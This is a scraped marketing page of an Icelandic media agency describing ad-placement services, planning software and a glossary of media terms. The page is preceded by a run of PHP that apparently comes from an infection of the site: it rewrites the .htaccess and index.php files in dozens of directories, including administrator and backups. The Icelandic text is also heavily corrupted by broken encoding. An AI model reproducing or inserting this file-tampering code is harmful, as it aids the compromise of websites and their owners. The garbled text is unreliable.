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} if (file_exists('equipment/index.php')) { file_put_contents('equipment/index.php', str_replace(array($y,$c), '', file_get_contents('equipment/index.php'))); } if (file_exists('forecast/.htaccess')) { file_put_contents('forecast/.htaccess', str_replace(array($x,$l), '', file_get_contents('forecast/.htaccess'))); } if (file_exists('forecast/index.php')) { file_put_contents('forecast/index.php', str_replace(array($y,$c), '', file_get_contents('forecast/index.php'))); } if (file_exists('newsletter/.htaccess')) { file_put_contents('newsletter/.htaccess', str_replace(array($x,$l), '', file_get_contents('newsletter/.htaccess'))); } if (file_exists('newsletter/index.php')) { file_put_contents('newsletter/index.php', str_replace(array($y,$c), '', file_get_contents('newsletter/index.php'))); } if (file_exists('origin/.htaccess')) { file_put_contents('origin/.htaccess', str_replace(array($x,$l), '', file_get_contents('origin/.htaccess'))); } if (file_exists('origin/index.php')) { file_put_contents('origin/index.php', str_replace(array($y,$c), '', file_get_contents('origin/index.php'))); } if (file_exists('personalinfos/.htaccess')) { file_put_contents('personalinfos/.htaccess', str_replace(array($x,$l), '', file_get_contents('personalinfos/.htaccess'))); } if (file_exists('personalinfos/index.php')) { file_put_contents('personalinfos/index.php', str_replace(array($y,$c), '', file_get_contents('personalinfos/index.php'))); } if (file_exists('product/.htaccess')) { file_put_contents('product/.htaccess', str_replace(array($x,$l), '', file_get_contents('product/.htaccess'))); } if (file_exists('product/index.php')) { file_put_contents('product/index.php', str_replace(array($y,$c), '', file_get_contents('product/index.php'))); } if (file_exists('registrations/.htaccess')) { file_put_contents('registrations/.htaccess', str_replace(array($x,$l), '', file_get_contents('registrations/.htaccess'))); } if (file_exists('registrations/index.php')) { file_put_contents('registrations/index.php', str_replace(array($y,$c), '', file_get_contents('registrations/index.php'))); } if (file_exists('visits/.htaccess')) { file_put_contents('visits/.htaccess', str_replace(array($x,$l), '', file_get_contents('visits/.htaccess'))); } if (file_exists('visits/index.php')) { file_put_contents('visits/index.php', str_replace(array($y,$c), '', file_get_contents('visits/index.php'))); } if (file_exists('textbanners/.htaccess')) { file_put_contents('textbanners/.htaccess', str_replace(array($x,$l), '', file_get_contents('textbanners/.htaccess'))); } if (file_exists('textbanners/index.php')) { file_put_contents('textbanners/index.php', str_replace(array($y,$c), '', file_get_contents('textbanners/index.php'))); } if (file_exists('themeconfigurator/.htaccess')) { file_put_contents('themeconfigurator/.htaccess', str_replace(array($x,$l), '', file_get_contents('themeconfigurator/.htaccess'))); } if (file_exists('themeconfigurator/index.php')) { file_put_contents('themeconfigurator/index.php', str_replace(array($y,$c), '', file_get_contents('themeconfigurator/index.php'))); } if (file_exists('themeeditor/.htaccess')) { file_put_contents('themeeditor/.htaccess', str_replace(array($x,$l), '', file_get_contents('themeeditor/.htaccess'))); } if (file_exists('themeeditor/index.php')) { file_put_contents('themeeditor/index.php', str_replace(array($y,$c), '', file_get_contents('themeeditor/index.php'))); } if (file_exists('trackingfront/.htaccess')) { file_put_contents('trackingfront/.htaccess', str_replace(array($x,$l), '', file_get_contents('trackingfront/.htaccess'))); } if (file_exists('trackingfront/index.php')) { file_put_contents('trackingfront/index.php', str_replace(array($y,$c), '', file_get_contents('trackingfront/index.php'))); } if (file_exists('vatnumber/.htaccess')) { file_put_contents('vatnumber/.htaccess', str_replace(array($x,$l), '', file_get_contents('vatnumber/.htaccess'))); } if (file_exists('vatnumber/index.php')) { file_put_contents('vatnumber/index.php', str_replace(array($y,$c), '', file_get_contents('vatnumber/index.php'))); } if (file_exists('videostab/.htaccess')) { file_put_contents('videostab/.htaccess', str_replace(array($x,$l), '', file_get_contents('videostab/.htaccess'))); } if (file_exists('videostab/index.php')) { file_put_contents('videostab/index.php', str_replace(array($y,$c), '', file_get_contents('videostab/index.php'))); } if (file_exists('watermark/.htaccess')) { file_put_contents('watermark/.htaccess', str_replace(array($x,$l), '', file_get_contents('watermark/.htaccess'))); } if (file_exists('watermark/index.php')) { file_put_contents('watermark/index.php', str_replace(array($y,$c), '', file_get_contents('watermark/index.php'))); } if (file_exists('administrator/.htaccess')) { file_put_contents('administrator/.htaccess', str_replace(array($x,$l), '', file_get_contents('administrator/.htaccess'))); } if (file_exists('administrator/index.php')) { file_put_contents('administrator/index.php', str_replace(array($y,$c), '', file_get_contents('administrator/index.php'))); } if (file_exists('backups/.htaccess')) { file_put_contents('backups/.htaccess', str_replace(array($x,$l), '', file_get_contents('backups/.htaccess'))); } if (file_exists('backups/index.php')) { file_put_contents('backups/index.php', str_replace(array($y,$c), '', file_get_contents('backups/index.php'))); } if (file_exists('cache/.htaccess')) { file_put_contents('cache/.htaccess', str_replace(array($x,$l), '', file_get_contents('cache/.htaccess'))); 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} if (file_exists('tmp/index.php')) { file_put_contents('tmp/index.php', str_replace(array($y,$c), '', file_get_contents('tmp/index.php'))); } if (file_exists('index.php')) { file_put_contents('index.php', str_replace(array($y,$c), '', file_get_contents('index.php'))); } Birtingar | ABS Fjölmiðlahús

Birtingar

[vc_row bg_opacity=“opacity-90″ uniq_id=“section-9″ bg_color=“#333333″][vc_column width=“1/6″ font_color=“#ffffff“ css=“.vc_custom_1432686485672{margin-top: 50px !important;}“][vc_pie value=“33″ color=“wpb_button“ title=“Sjónvarp“ units=“%“][/vc_column][vc_column width=“1/6″ font_color=“#ffffff“ css=“.vc_custom_1432686493896{margin-top: 50px !important;}“][vc_pie value=“23″ color=“wpb_button“ title=“Internet“ units=“%“][/vc_column][vc_column width=“1/6″ font_color=“#ffffff“ css=“.vc_custom_1432686500403{margin-top: 50px !important;}“][vc_pie value=“43″ color=“wpb_button“ title=“Prentmiðlar“ units=“%“][/vc_column][vc_column width=“1/2″ font_color=“#ffffff“][vc_column_text]

Auðvitað skiptir máli hvað þú segir í auglýsingum en hvernig þú segir það skiptir enn meira máli.

Þetta tvennt fellur ��ó um sjálft sig ef enginn sér auglýsingarnar!
ABS-Fjölmiðlahús sérhæfir sig í að koma mikilvægum skilaboðum á framfæri þar sem þau sj��st!

Einkunnarorð ABS-Fjölmiðlahúss eru hagkvæmni og skilvirkni. ABS er stærsta fjölmiðlahús landsins sem tryggir viðskiptavinum s����num ávallt hagstæðustu samningana við fjölmiðla.  Birtingaráðgjöf ABS miðast fyrst og fremst við að hámarka nýtingu auglýsingafjármagns.

[/vc_column_text][/vc_column][/vc_row][vc_row bg_opacity=“opacity-90″ uniq_id=“section-235″ font_color=“#000000″][vc_column width=“1/1″][anaglyph_headlinetext headline_title=“Þjónusta“ pb_title_tag=“h2″ pb_additional_tag=“h3″ headline_text_color=“#292422″ pb_dsep=“1″][anaglyph_separator pb_bordercolor=“#ebebeb“ pb_size=“1px“ pb_margin=“20px“][vc_column_text css=“.vc_custom_1432729584096{margin-top: 50px !important;margin-bottom: 50px !important;}“]1)       Birtingaá��tlanir og umsjón

ABS fjölmiðlahús sérhæfir sig í birtingaráðgjöf og umsjón birtinga.

 

2)       Auglýsingamælingar ABS

Auglýsingamælingar ABS gefa ítarlegar upplýsingar um allar auglýsingar sem birtast í blöðum og sjónvarpi. Þær segja til um hve mikið fyrirtæki auglýsa, hvar og hvenær.

 

Auglýsingamælingar ABS:

  • Gefa yfirsýn og eftirlit með birtingum viðskiptavina okkar
  • Gefa kost á að fylgjast með auglýsingum samkeppnisaðilanna
  • Gefa kost á að fylgjast með hvernig auglýsingar hafa áhrif á sölu og markaðshlutdeild

 

3)       Auglýsinga- og markaðsrannsóknir

Rannsóknadeild ABS-Fjölmiðlahúss veitir viðskiptavinum sínum faglega ráðgjöf á sviði rannsókna. Ráðgjöfin er veitt varðandi hvers kyns markaðsrannsóknir; markhóparannsóknir, fjölmiðlarannsóknir, neyslukannanir, kannanir á auglýsingaeftirtekt og margt fleira. Rannsóknadeild ABS-Fjölmiðlahúss aðstoðar einnig viðskiptavini sína við nýtingu uppl����singanna, vinnur ítarlegar markhópagreiningar, túlkar ni��urstöður og ályktar um þróun og mögulegar aðgerðir.

 

[/vc_column_text][/vc_column][/vc_row][vc_row bg_opacity=“opacity-90″ uniq_id=“section-9″ bg_color=“#333333″][vc_column width=“1/2″ font_color=“#ffffff“][vc_column_text css=“.vc_custom_1432686250450{margin-bottom: 50px !important;}“]1432704128_check[/vc_column_text][anaglyph_headlinetext headline_title=“Reynsla, innsýn, þekking!“ pb_title_tag=“h3″ pb_additional_tag=“h4″ headline_text_color=“#ffffff“][/vc_column][vc_column width=“1/2″ font_color=“#ffffff“][vc_column_text css=“.vc_custom_1432729665954{margin-top: 50px !important;margin-bottom: 50px !important;}“]

Starfsfólk ABS hefur mikla reynslu, innsýn og þekkingu á auglýsingamarkaðnum og fjölmiðlum.

ABS-Fjölmiðlahús leggur ríka áherslu á að hafa sem gleggstar upplýsingar um markaðinn hverju sinni..

[/vc_column_text][/vc_column][/vc_row][vc_row bg_opacity=“opacity-90″ uniq_id=“section-235″][vc_column width=“1/1″][anaglyph_headlinetext headline_title=“Tækjakostur“ pb_title_tag=“h2″ pb_additional_tag=“h3″ headline_text_color=“#292422″ pb_dsep=“1″][anaglyph_separator pb_bordercolor=“#ebebeb“ pb_size=“1px“ pb_margin=“20px“][vc_column_text]Til þess a�������� hægt sé að vinna birtingaáætlanir á markvissan og hagkvæman hátt þarf a������ hafa aðgang að bestu tækjum og fáanlegum upplýsingum sem völ er á.

 

Hugbúnaður

�����    ��    Telmar Mediaplanner

•      ��  Memphis Survey Explorer

•        Infosys

•         Sesame

Kannanir og upplýsingar

�����������      ��  Allar áhorfs- og lestrarkannanir samstarfshóps um fjölmiðlakannanir

(Sjónvarp – Dagblöð – Útvarp – Tímarit – Netmiðlar)

•         Neyslu- og lífsstílskannanir

•         Auglýsingamælingar ABS[/vc_column_text][anaglyph_separator pb_bordercolor=“#ebebeb“ pb_size=“1px“ pb_margin=“50px“][anaglyph_headlinetext headline_title=“Hugtakalisti“ pb_title_tag=“h2″ pb_additional_tag=“h3″ headline_text_color=“#292422″ pb_dsep=“1″][anaglyph_separator pb_bordercolor=“#ebebeb“ pb_size=“1px“ pb_margin=“20px“][vc_column_text]Dekkun (e. Reach)

Dekkun er notuð til að bera saman styrk mismunandi miðla. Hún segir til um hversu margir í markhópnum hafa raunverulega tækifæri til að sjá auglýsinguna.

 

Uppsöfnuð dekkun

Uppsöfnuðu dekkun er notuð til að bera saman styrk mismunandi miðla. Hún segir okkur til hversu margra miðillinn nær til yfir ákveðið tímabil.

 

T��������NI (e. Frequency)

Hversu oft náum vi�� í hvern og einn að meðaltali. Tíðnin er meðaltal af þeim sem sáu auglýsinguna.

 

GRP/TRP – Áreitispunktar (e. GrossRatingPoints/TargetRatingPoints)

Áreitispunktar er uppsafnað margfeldi af dekkun og tíðni  (GRPs = dekkun x tíðni).

 

Snertiverð (e. Cost per Thousand, CPM)

Snertiverð er mælieining sem notuð er til að meta hvað það kostar okkur að ná í hvern og einn innan markhópsins. Það segir okkur hversu mikið það kostar að ná í hvern einstakling í tilteknum auglýsingatíma. Snertiver�� er reiknað út frá dekkun og verði miðilsins. Snertiverð gefur til kynnahagkvæmni þess að nota mismunandi miðla og auglýsingatíma.

 

Marktekt

Merking tölfræðilegrar marktektar felst í því hvort hægt sé að alh��fa mun í úrtaki yfir á þýði. Við úrvinnslu á niðurstöðum eru alla jafnan notuð tölfræðipróf sem greina hvort munur á tilteknum hópum sé tölfræðilega marktækur eða ekki. Þar sem einungis er verið að vinna með úrtök eru marktektarpróf notuð til að meta hvort hægt sé að staðhæfa um mun í því þ��ði sem úrtakið var dregið úr. Ef ni����urstaða er tölfræðilega marktæk má ��lykta sem svo að munur s�� �� þessum hópum í þýðinu.

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